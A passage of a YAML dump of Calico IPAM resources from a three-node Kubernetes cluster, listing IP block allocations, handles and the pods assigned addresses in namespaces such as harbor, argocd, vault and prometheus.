        timestamp: 2025-11-29 11:13:13.760388963 +0000 UTC
    - handle_id: k8s-pod-network.39e7173e409238f328ac3f5e6d1ed8265dcc04cc660d22e30079ee618203a111
      secondary:
        namespace: harbor
        node: k8s-m-1
        pod: harbor-trivy-0
        timestamp: 2025-11-29 11:13:14.172035995 +0000 UTC
    cidr: 192.168.133.128/26
    deleted: false
    sequenceNumber: 1758452999340277477
    sequenceNumberForAllocation:
      "0": 1758452999340277124
      "1": 1758452999340277468
      "2": 1758452999340277467
      "3": 1758452999340277473
      "4": 1758452999340277466
      "5": 1758452999340277476
      "6": 1758452999340277469
      "7": 1758452999340277391
      "8": 1758452999340277475
      "9": 1758452999340277346
      "10": 1758452999340277389
      "11": 1758452999340277392
      "12": 1758452999340277437
      "13": 1758452999340277403
      "14": 1758452999340277402
      "15": 1758452999340277400
      "16": 1758452999340277401
      "17": 1758452999340277425
      "18": 1758452999340277444
      "19": 1758452999340277438
      "20": 1758452999340277427
      "21": 1758452999340277395
      "22": 1758452999340277393
      "23": 1758452999340277458
      "24": 1758452999340277390
      "25": 1758452999340277434
      "26": 1758452999340277436
      "27": 1758452999340277429
      "28": 1758452999340277432
      "29": 1758452999340277462
      "30": 1758452999340277435
      "31": 1758452999340277428
      "32": 1758452999340277445
      "33": 1758452999340277422
      "34": 1758452999340277397
      "35": 1758452999340277396
      "36": 1758452999340277399
      "37": 1758452999340277431
      "38": 1758452999340277440
      "39": 1758452999340277463
      "40": 1758452999340277426
      "41": 1758452999340277439
      "42": 1758452999340277404
      "43": 1758452999340277423
      "44": 1758452999340277433
      "45": 1758452999340277430
      "46": 1758452999340277388
      "47": 1758452999340277338
      "48": 1758452999340277359
      "49": 1758452999340277387
      "50": 1758452999340277381
      "51": 1758452999340277474
      "52": 1758452999340277470
      "53": 1758452999340277472
      "54": 1758452999340277342
      "55": 1758452999340277353
      "56": 1758452999340277363
      "57": 1758452999340277344
      "58": 1758452999340277471
      "59": 1758452999340277465
      "60": 1758452999340277345
      "61": 1758452999340277382
      "62": 1758452999340277464
      "63": 1758452999340277385
    strictAffinity: false
    unallocated:
    - 56
    - 48
    - 55
    - 9
    - 60
    - 57
    - 61
    - 63
    - 22
    - 49
    - 42
    - 24
    - 15
    - 50
    - 13
    - 36
    - 47
    - 14
    - 46
    - 35
    - 21
    - 16
    - 7
    - 11
    - 54
    - 34
    - 10
    - 26
    - 28
    - 44
    - 17
    - 19
    - 33
    - 25
    - 43
    - 45
    - 38
    - 31
    - 37
    - 27
    - 30
    - 41
    - 12
    - 40
    - 20
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMBlock
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:19:08Z"
    generation: 190
    name: 192-168-34-0-26
    resourceVersion: "18046311"
    uid: c9889858-581d-4069-966b-6e889e99b63b
  spec:
    affinity: host:k8s-m-3
    allocations:
    - 0
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - 5
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - 10
    - 3
    - 4
    - 2
    - null
    - null
    - 1
    - 8
    - null
    - 6
    - 7
    - 11
    - 12
    - null
    - 9
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    attributes:
    - handle_id: ipip-tunnel-addr-k8s-m-3
      secondary:
        node: k8s-m-3
        type: ipipTunnelAddress
    - handle_id: k8s-pod-network.8d23dac970f232a18efee678a6bf03dc6fabc7eb52479e9c934b6507c4f65e5e
      secondary:
        namespace: jaeger
        node: k8s-m-3
        pod: jaeger-cassandra-0
        timestamp: 2025-11-29 14:25:15.250617636 +0000 UTC
    - handle_id: k8s-pod-network.39c4d206b2e7102a95d167bdb443c57b6860bf87a6c0019a278017c63b143b5b
      secondary:
        namespace: redis
        node: k8s-m-3
        pod: redis-replicas-0
        timestamp: 2025-11-29 14:25:15.861605474 +0000 UTC
    - handle_id: k8s-pod-network.2bc583d74c0ce66aff17f7702c98a8ecf1026bef9ba94b548ef1f7fcd681389c
      secondary:
        namespace: harbor
        node: k8s-m-3
        pod: harbor-redis-0
        timestamp: 2025-11-29 14:25:16.688950226 +0000 UTC
    - handle_id: k8s-pod-network.beb431fb3c1b6430c021106edefbed009c12be1f1a2875f392a0e44e9338b4ae
      secondary:
        namespace: redis
        node: k8s-m-3
        pod: redis-master-0
        timestamp: 2025-11-29 14:25:16.749353115 +0000 UTC
    - handle_id: k8s-pod-network.c200875de33a1ce8dcfdc07a4d20eb32ab4a648437a938dec30b1e767a631ff9
      secondary:
        namespace: calico-system
        node: k8s-m-3
        pod: csi-node-driver-skbh6
        timestamp: 2025-11-29 14:25:16.931723122 +0000 UTC
    - handle_id: k8s-pod-network.9bf19f44cc6f0498c5d0c57a5131912cdfaf4e9165ac365462076a780ca0596c
      secondary:
        namespace: calico-system
        node: k8s-m-3
        pod: goldmane-74cb5d9557-hhnbv
        timestamp: 2025-11-29 14:25:16.963431724 +0000 UTC
    - handle_id: k8s-pod-network.e066a3fb98671eaabd87b1712768e9c3c121e294a76699163ecc301c368ac195
      secondary:
        namespace: jaeger
        node: k8s-m-3
        pod: jaeger-agent-n4rr4
        timestamp: 2025-11-29 14:25:17.133286385 +0000 UTC
    - handle_id: k8s-pod-network.fab098608503f24b53cc5f6e4b008fdf25453250b9ec61e54dd6ad182f4c10d0
      secondary:
        namespace: argocd
        node: k8s-m-3
        pod: argocd-redis-946cd9d9f-j9nkk
        timestamp: 2025-11-29 14:25:17.181736372 +0000 UTC
    - handle_id: k8s-pod-network.c9bc0f41aa6108d8ba43cebf0197e5e5115e6efecf1bb2d8f0fb6ddfdae7533f
      secondary:
        namespace: cert-manager
        node: k8s-m-3
        pod: cert-manager-58dd99f969-n4w2f
        timestamp: 2025-11-29 14:25:17.368578313 +0000 UTC
    - handle_id: k8s-pod-network.87b9d832c0255f5913a3fbe7b28b7e88614df336726eff8cb5a8215598f29b34
      secondary:
        namespace: grafana
        node: k8s-m-3
        pod: grafana-65fc6dbcff-qr6t9
        timestamp: 2025-11-29 14:25:17.403678745 +0000 UTC
    - handle_id: k8s-pod-network.8eec6ba2c3256932a5a9f1125c99df2568e0747709e2a05c9f433ebdc5ceb2e5
      secondary:
        namespace: kube-system
        node: k8s-m-3
        pod: coredns-674b8bbfcf-jjtjh
        timestamp: 2025-11-29 14:25:17.432074304 +0000 UTC
    - handle_id: k8s-pod-network.9969f5254925c30481a04f6dfcee3450914ab69a9cc257e91d292a285f8716a4
      secondary:
        namespace: cert-manager
        node: k8s-m-3
        pod: cert-manager-cainjector-55cd9f77b5-7cj29
        timestamp: 2025-11-29 14:25:20.084965605 +0000 UTC
    cidr: 192.168.34.0/26
    deleted: false
    sequenceNumber: 1758453548602493392
    sequenceNumberForAllocation:
      "0": 1758453548602493203
      "1": 1758453548602493325
      "2": 1758453548602493328
      "3": 1758453548602493326
      "4": 1758453548602493330
      "5": 1758453548602493327
      "6": 1758453548602493323
      "7": 1758453548602493322
      "8": 1758453548602493324
      "9": 1758453548602493357
      "10": 1758453548602493360
      "11": 1758453548602493336
      "12": 1758453548602493337
      "13": 1758453548602493334
      "14": 1758453548602493356
      "15": 1758453548602493355
      "16": 1758453548602493333
      "17": 1758453548602493335
      "18": 1758453548602493362
      "19": 1758453548602493359
      "20": 1758453548602493361
      "21": 1758453548602493364
      "22": 1758453548602493383
      "23": 1758453548602493244
      "24": 1758453548602493245
      "25": 1758453548602493246
      "26": 1758453548602493247
      "27": 1758453548602493248
      "28": 1758453548602493249
      "29": 1758453548602493363
      "30": 1758453548602493367
      "31": 1758453548602493254
      "32": 1758453548602493388
      "33": 1758453548602493381
      "34": 1758453548602493382
      "35": 1758453548602493380
      "36": 1758453548602493365
      "37": 1758453548602493366
      "38": 1758453548602493379
      "39": 1758453548602493386
      "40": 1758453548602493268
      "41": 1758453548602493384
      "42": 1758453548602493385
      "43": 1758453548602493389
      "44": 1758453548602493391
      "45": 1758453548602493280
      "46": 1758453548602493387
      "47": 1758453548602493285
      "48": 1758453548602493286
      "49": 1758453548602493289
      "50": 1758453548602493292
      "51": 1758453548602493294
      "52": 1758453548602493295
      "53": 1758453548602493296
      "54": 1758453548602493298
      "55": 1758453548602493299
      "56": 1758453548602493300
      "57": 1758453548602493302
      "58": 1758453548602493304
      "59": 1758453548602493314
      "60": 1758453548602493316
      "61": 1758453548602493317
      "62": 1758453548602493318
      "63": 1758453548602493319
    strictAffinity: false
    unallocated:
    - 45
    - 40
    - 31
    - 53
    - 50
    - 51
    - 58
    - 56
    - 55
    - 26
    - 52
    - 54
    - 24
    - 28
    - 27
    - 57
    - 25
    - 23
    - 49
    - 47
    - 48
    - 5
    - 2
    - 3
    - 7
    - 11
    - 8
    - 12
    - 6
    - 61
    - 62
    - 60
    - 59
    - 4
    - 63
    - 1
    - 17
    - 13
    - 16
    - 19
    - 20
    - 29
    - 9
    - 37
    - 21
    - 10
    - 30
    - 36
    - 14
    - 15
    - 18
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMBlock
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:17:14Z"
    generation: 275
    name: 192-168-61-192-26
    resourceVersion: "18033715"
    uid: 096ec77f-4e0c-4c68-bc15-68a6581ac0b6
  spec:
    affinity: host:k8s-m-2
    allocations:
    - 0
    - null
    - 13
    - null
    - null
    - null
    - null
    - 7
    - null
    - 12
    - 11
    - 21
    - null
    - null
    - 10
    - 25
    - 23
    - 22
    - 24
    - null
    - null
    - null
    - 5
    - null
    - null
    - null
    - 16
    - null
    - null
    - 9
    - 17
    - 8
    - null
    - 6
    - 14
    - null
    - 4
    - null
    - null
    - null
    - 20
    - 15
    - 19
    - 18
    - null
    - null
    - null
    - 1
    - null
    - null
    - null
    - null
    - 3
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - null
    - 2
    - null
    attributes:
    - handle_id: ipip-tunnel-addr-k8s-m-2
      secondary:
        node: k8s-m-2
        type: ipipTunnelAddress
    - handle_id: k8s-pod-network.c809a6854b08aa0465df1a7535f91cf3c90f89829af3b044ce0458125fcea444
      secondary:
        namespace: redis
        node: k8s-m-2
        pod: redis-replicas-2
        timestamp: 2025-11-29 13:23:41.898788443 +0000 UTC
    - handle_id: k8s-pod-network.85d1de46245d9bb00c03db56c40587b76f788deefd985221dc0b9d6bbdd7cf37
      secondary:
        namespace: jaeger
        node: k8s-m-2
        pod: jaeger-cassandra-2
        timestamp: 2025-11-29 13:23:42.805076958 +0000 UTC
    - handle_id: k8s-pod-network.2849ffaa6bd8f575d74cf28485b923d8a2ba06b3dacc1db20798c28c8c52d9b9
      secondary:
        namespace: harbor
        node: k8s-m-2
        pod: harbor-jobservice-7d76588fb9-rn7vj
        timestamp: 2025-11-29 13:23:44.470966203 +0000 UTC
    - handle_id: k8s-pod-network.37f9b0686a8274952c9aa1ed0902ae458bba6cc1deaf579b868a5ec1a30f6a73
      secondary:
        namespace: kubernetes-dashboard
        node: k8s-m-2
        pod: kubernetes-dashboard-web-7796b9fbbb-9b8kx
        timestamp: 2025-11-29 13:23:45.429390396 +0000 UTC
    - handle_id: k8s-pod-network.9645ced926afbcc5be40ef1b1e1f906a51a6aca2c0ce9ebe9566bede9fca8029
      secondary:
        namespace: vault
        node: k8s-m-2
        pod: vault-0
        timestamp: 2025-11-29 13:23:45.493197649 +0000 UTC
    - handle_id: k8s-pod-network.e9fa95803795365472a24ff031acc2583005b1b9f75be1e4bffb7945b1ff472c
      secondary:
        namespace: kubernetes-dashboard
        node: k8s-m-2
        pod: kubernetes-dashboard-api-7ccd9b445f-vvzkr
        timestamp: 2025-11-29 13:23:45.509280111 +0000 UTC
    - handle_id: k8s-pod-network.6b6a9425df8375060235e109fee8866cb8c78cb8960df452bf52478a7a7919f2
      secondary:
        namespace: argocd
        node: k8s-m-2
        pod: argocd-dex-server-6559c6dd79-kk2j6
        timestamp: 2025-11-29 13:23:45.697677463 +0000 UTC
    - handle_id: k8s-pod-network.abf1974c8c97ee9739721f5a9ed64bfae9512f9a9cd8f88b1e3d6d87dd7ac938
      secondary:
        namespace: harbor
        node: k8s-m-2
        pod: harbor-registry-6f6b79b866-cgqvm
        timestamp: 2025-11-29 13:23:45.728176479 +0000 UTC
    - handle_id: k8s-pod-network.f76300c006489a7a74a563fb57c99e54cf21cf9aa3c5e79ea8a3c7ec139d16f1
      secondary:
        namespace: harbor
        node: k8s-m-2
        pod: harbor-core-84f58f6d9d-fck4m
        timestamp: 2025-11-29 13:23:45.727618202 +0000 UTC
    - handle_id: k8s-pod-network.d987a223ee034626a73a488b83a2526374906fd61a4413023cb67427b18bd7f1
      secondary:
        namespace: argocd
        node: k8s-m-2
        pod: argocd-application-controller-0
        timestamp: 2025-11-29 13:23:45.847798932 +0000 UTC
    - handle_id: k8s-pod-network.18773c43ce3445296aa1d686987f3286af0759824494bc159bba5cdea7c27b6e
      secondary:
        namespace: argocd
        node: k8s-m-2
        pod: argocd-server-6475d67dbd-tk5kr
        timestamp: 2025-11-29 13:23:45.906947813 +0000 UTC
    - handle_id: k8s-pod-network.382c2cb08e8a5dc7218e141691ddc230cf14719c0703e3d618a09dcc007391d8
      secondary:
        namespace: prometheus
        node: k8s-m-2
        pod: prometheus-community-server-7c866c8b56-8lndl
        timestamp: 2025-11-29 13:23:45.917131214 +0000 UTC
    - handle_id: k8s-pod-network.a1d97f2a6c4665e9f4384982296e097027e9947a03da214e7378e9e610c952a4
      secondary:
        namespace: calico-system
        node: k8s-m-2
        pod: whisker-796cf9b5d7-lfc95
        timestamp: 2025-11-29 13:23:46.000772198 +0000 UTC
    - handle_id: k8s-pod-network.fcba08b4e3f7da93d2eff882b1de8aa3bed29d3da906806be7f21830193504dc
      secondary:
        namespace: argocd
        node: k8s-m-2
        pod: argocd-applicationset-controller-6dc687dfdb-bbpnx
        timestamp: 2025-11-29 13:23:46.058528188 +0000 UTC
    - handle_id: k8s-pod-network.c46a25c74280e999c0971c87575a227230dc701154b43abae219d80e3aa26535
      secondary:
        namespace: metallb-system
        node: k8s-m-2
        pod: metallb-controller-5754956df6-mx99q
        timestamp: 2025-11-29 13:23:46.339745968 +0000 UTC
    - handle_id: k8s-pod-network.0ed68be2470c4c07913de97014cf75b04d4df6c1a75b280f7c9d776d617a0d92
      secondary:
        namespace: prometheus
        node: k8s-m-2
        pod: prometheus-community-kube-state-metrics-7867455795-mk5k4
        timestamp: 2025-11-29 13:23:46.373705896 +0000 UTC
    - handle_id: k8s-pod-network.26ed246f160c2a013404c17fca7f112458e798de26456284e9adc888c7b947e2
      secondary:
        namespace: prometheus
        node: k8s-m-2
        pod: prometheus-community-alertmanager-0
        timestamp: 2025-11-29 13:23:46.662367429 +0000 UTC
    - handle_id: k8s-pod-network.ce2e0d5859b24e34a571342095a479f8a06e4f128dfe2aeabf771e46671ca45d
      secondary:
        namespace: calico-system
        node: k8s-m-2
        pod: calico-kube-controllers-d595576c-6vkn8
        timestamp: 2025-11-29 13:23:46.722380134 +0000 UTC
    - handle_id: k8s-pod-network.cbbfed91349a9ad7662083ebb84a542d6cc2380959d79e913e59c551d5c6592e
      secondary:
        namespace: ingress-nginx
        node: k8s-m-2
        pod: ingress-nginx-controller-6b96cf684f-tfftb
        timestamp: 2025-11-29 13:23:46.746948907 +0000 UTC
    - handle_id: k8s-pod-network.e6d8056e060fa1a0e7f1487aa7c708b11a6e9be91d43e5ab06d28ab7ecde10d0
      secondary:
        namespace: hera
        node: k8s-m-2
        pod: hera-wordpress-7f576688d9-bx44r
        timestamp: 2025-11-29 13:23:46.751049087 +0000 UTC
    - handle_id: k8s-pod-network.e3fcc2b694622da21185f8447e8ccedff4ea8e6f454aee46afe72b8d2c6fd295
      secondary:
        namespace: kubernetes-dashboard
        node: k8s-m-2
        pod: kubernetes-dashboard-auth-6ff66ccf8d-gstmd
        timestamp: 2025-11-29 13:23:47.285367685 +0000 UTC
    - handle_id: k8s-pod-network.3ff37c1d92669721ce5685c1564f277e6fdf880f87800db5377703876358cfd5
      secondary:
        namespace: argocd
        node: k8s-m-2
        pod: argocd-notifications-controller-6f78679858-zclq7
        timestamp: 2025-11-29 13:23:47.418842702 +0000 UTC
    - handle_id: k8s-pod-network.eb01ea57c59a4f8435928c65ee258d9be606849babafb0acf34f3598ca5448e8
      secondary:
        namespace: calico-system
        node: k8s-m-2
        pod: csi-node-driver-sbfpt
        timestamp: 2025-11-29 13:23:47.42636282 +0000 UTC
    - handle_id: k8s-pod-network.664f9524127c3d45e9626bee5fd8bf23b0d3df3fd13854de3a93c29a55c3ec13
      secondary:
        namespace: harbor
        node: k8s-m-2
        pod: harbor-portal-864c6cd7-hzcjx
        timestamp: 2025-11-29 13:23:47.434441203 +0000 UTC
    - handle_id: k8s-pod-network.2b91e7865e3c60aa9864e7394e2c01edf8f49c06853121feb6cb0ea95107b357
      secondary:
        namespace: jaeger
        node: k8s-m-2
        pod: jaeger-agent-2qptt
        timestamp: 2025-11-29 13:24:02.204179638 +0000 UTC
    cidr: 192.168.61.192/26
    deleted: false
    sequenceNumber: 1758453434267891089
    sequenceNumberForAllocation:
      "0": 1758453434267890815
      "1": 1758453434267890942
      "2": 1758453434267891076
      "3": 1758453434267891027
      "4": 1758453434267891025
      "5": 1758453434267890940
      "6": 1758453434267890946
      "7": 1758453434267891070
      "8": 1758453434267890953
      "9": 1758453434267891075
      "10": 1758453434267891074
      "11": 1758453434267891084
      "12": 1758453434267890944
      "13": 1758453434267890951
      "14": 1758453434267891073
      "15": 1758453434267891088
      "16": 1758453434267891086
      "17": 1758453434267891085
      "18": 1758453434267891087
      "19": 1758453434267891028
      "20": 1758453434267891023
      "21": 1758453434267891029
      "22": 1758453434267891068
      "23": 1758453434267890973
      "24": 1758453434267891017
      "25": 1758453434267890967
      "26": 1758453434267891079
      "27": 1758453434267891030
      "28": 1758453434267891032
      "29": 1758453434267891072
      "30": 1758453434267891080
      "31": 1758453434267891071
      "32": 1758453434267891018
      "33": 1758453434267891069
      "34": 1758453434267891077
      "35": 1758453434267890972
      "36": 1758453434267891067
      "37": 1758453434267891033
      "38": 1758453434267890969
      "39": 1758453434267890966
      "40": 1758453434267891083
      "41": 1758453434267891078
      "42": 1758453434267891082
      "43": 1758453434267891081
      "44": 1758453434267890981
      "45": 1758453434267890970
      "46": 1758453434267891015
      "47": 1758453434267891063
      "48": 1758453434267891013
      "49": 1758453434267891014
      "50": 1758453434267891022
      "51": 1758453434267891021
      "52": 1758453434267891065
      "53": 1758453434267891020
      "54": 1758453434267891016
      "55": 1758453434267891034
      "56": 1758453434267891031
      "57": 1758453434267891035
      "58": 1758453434267891024
      "59": 1758453434267891038
      "60": 1758453434267891036
      "61": 1758453434267891026
      "62": 1758453434267891064
      "63": 1758453434267891037
    strictAffinity: false
    unallocated:
    - 6
    - 45
    - 13
    - 35
    - 8
    - 1
    - 5
    - 38
    - 25
    - 23
    - 39
    - 12
    - 44
    - 4
    - 37
    - 55
    - 63
    - 59
    - 32
    - 28
    - 20
    - 49
    - 53
    - 3
    - 50
    - 56
    - 21
    - 24
    - 57
    - 46
    - 58
    - 61
    - 54
    - 48
    - 60
    - 19
    - 27
    - 51
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMConfig
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 1
    name: default
    resourceVersion: "602"
    uid: 4e0185d9-f963-48e8-90c7-90d32f635ae2
  spec:
    autoAllocateBlocks: true
    strictAffinity: false
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:09:59Z"
    generation: 1
    name: ipip-tunnel-addr-k8s-m-1
    resourceVersion: "606"
    uid: e1309004-d15f-43cd-bc02-2f69d41433e1
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: ipip-tunnel-addr-k8s-m-1
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:17:14Z"
    generation: 1
    name: ipip-tunnel-addr-k8s-m-2
    resourceVersion: "1310"
    uid: 73610115-cb6e-459c-bf02-e2ac27d2c994
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: ipip-tunnel-addr-k8s-m-2
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-09-21T11:19:08Z"
    generation: 1
    name: ipip-tunnel-addr-k8s-m-3
    resourceVersion: "1590"
    uid: ab6c4dd1-c842-44b8-a5c3-b88ce6b12d95
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: ipip-tunnel-addr-k8s-m-3
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:51Z"
    generation: 1
    name: k8s-pod-network.0ed68be2470c4c07913de97014cf75b04d4df6c1a75b280f7c9d776d617a0d92
    resourceVersion: "18033550"
    uid: 7901b4de-6445-4ab7-b99f-e0ed67a0fbef
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.0ed68be2470c4c07913de97014cf75b04d4df6c1a75b280f7c9d776d617a0d92
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:16Z"
    generation: 1
    name: k8s-pod-network.1302eb2fe41bdfb638c062f62eb24564c57cec5d260f38d53c7e83b046020d60
    resourceVersion: "18007774"
    uid: 114c843e-3000-4306-bf26-8b2d594e236f
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.1302eb2fe41bdfb638c062f62eb24564c57cec5d260f38d53c7e83b046020d60
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:12Z"
    generation: 1
    name: k8s-pod-network.151a37523b1e1d93f5de299535683ae24835923e4d2ea00a8490fc1fe9e4ceed
    resourceVersion: "18007655"
    uid: 0cc0af56-7f9e-4622-bff9-7a3ee3ebeb65
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.151a37523b1e1d93f5de299535683ae24835923e4d2ea00a8490fc1fe9e4ceed
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:48Z"
    generation: 1
    name: k8s-pod-network.18773c43ce3445296aa1d686987f3286af0759824494bc159bba5cdea7c27b6e
    resourceVersion: "18033481"
    uid: 091be5c4-5fc6-42ef-a8ff-0e7727d54acc
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.18773c43ce3445296aa1d686987f3286af0759824494bc159bba5cdea7c27b6e
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:52Z"
    generation: 1
    name: k8s-pod-network.26ed246f160c2a013404c17fca7f112458e798de26456284e9adc888c7b947e2
    resourceVersion: "18033557"
    uid: e886eb16-f25b-4305-b3a8-013e7af60072
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.26ed246f160c2a013404c17fca7f112458e798de26456284e9adc888c7b947e2
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:46Z"
    generation: 1
    name: k8s-pod-network.2849ffaa6bd8f575d74cf28485b923d8a2ba06b3dacc1db20798c28c8c52d9b9
    resourceVersion: "18033413"
    uid: 6a6df53a-0eea-41de-9ee7-35fbe8bb5bb3
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.2849ffaa6bd8f575d74cf28485b923d8a2ba06b3dacc1db20798c28c8c52d9b9
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:24:06Z"
    generation: 1
    name: k8s-pod-network.2b91e7865e3c60aa9864e7394e2c01edf8f49c06853121feb6cb0ea95107b357
    resourceVersion: "18033714"
    uid: 8ae41e11-e702-4f6a-ba73-181a341f6ace
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.2b91e7865e3c60aa9864e7394e2c01edf8f49c06853121feb6cb0ea95107b357
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:17Z"
    generation: 1
    name: k8s-pod-network.2bc583d74c0ce66aff17f7702c98a8ecf1026bef9ba94b548ef1f7fcd681389c
    resourceVersion: "18046203"
    uid: 1848c781-7672-4ff8-81fd-a791fc652197
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.2bc583d74c0ce66aff17f7702c98a8ecf1026bef9ba94b548ef1f7fcd681389c
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:47Z"
    generation: 1
    name: k8s-pod-network.37f9b0686a8274952c9aa1ed0902ae458bba6cc1deaf579b868a5ec1a30f6a73
    resourceVersion: "18033438"
    uid: b1257bb3-380d-4e3a-ba99-cf5cde349262
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.37f9b0686a8274952c9aa1ed0902ae458bba6cc1deaf579b868a5ec1a30f6a73
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:23:49Z"
    generation: 1
    name: k8s-pod-network.382c2cb08e8a5dc7218e141691ddc230cf14719c0703e3d618a09dcc007391d8
    resourceVersion: "18033491"
    uid: ba1547e5-c74a-461b-ad60-4ffe730448a7
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.382c2cb08e8a5dc7218e141691ddc230cf14719c0703e3d618a09dcc007391d8
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T14:25:16Z"
    generation: 1
    name: k8s-pod-network.39c4d206b2e7102a95d167bdb443c57b6860bf87a6c0019a278017c63b143b5b
    resourceVersion: "18046196"
    uid: d6fb9b78-120b-4144-91b9-209d9b8ccc1c
  spec:
    block:
      192.168.34.0/26: 1
    deleted: false
    handleID: k8s-pod-network.39c4d206b2e7102a95d167bdb443c57b6860bf87a6c0019a278017c63b143b5b
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:16Z"
    generation: 1
    name: k8s-pod-network.39e7173e409238f328ac3f5e6d1ed8265dcc04cc660d22e30079ee618203a111
    resourceVersion: "18007780"
    uid: 94db6042-34d6-415a-a627-3900b4bc5207
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.39e7173e409238f328ac3f5e6d1ed8265dcc04cc660d22e30079ee618203a111
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T13:24:00Z"
    generation: 1
    name: k8s-pod-network.3ff37c1d92669721ce5685c1564f277e6fdf880f87800db5377703876358cfd5
    resourceVersion: "18033672"
    uid: 4942b199-ebc5-41fc-a65b-a2a01dc1063e
  spec:
    block:
      192.168.61.192/26: 1
    deleted: false
    handleID: k8s-pod-network.3ff37c1d92669721ce5685c1564f277e6fdf880f87800db5377703876358cfd5
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:12Z"
    generation: 1
    name: k8s-pod-network.435abdd8a2bb619837866ec699f1fd0555158e52cc30281a096524f9a38e272e
    resourceVersion: "18007651"
    uid: dbb1d36f-2767-4752-91d7-12ea5a4e1a7f
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
    handleID: k8s-pod-network.435abdd8a2bb619837866ec699f1fd0555158e52cc30281a096524f9a38e272e
- apiVersion: crd.projectcalico.org/v1
  kind: IPAMHandle
  metadata:
    annotations:
      projectcalico.org/metadata: '{"creationTimestamp":null}'
    creationTimestamp: "2025-11-29T11:13:13Z"
    generation: 1
    name: k8s-pod-network.4c918e3576a941a564d0c951cef0a2a400a6c150472e5893ca78c95544d1ef9d
    resourceVersion: "18007670"
    uid: d2f8511d-060c-42bb-a33d-f2af5870df7b
  spec:
    block:
      192.168.133.128/26: 1
    deleted: false
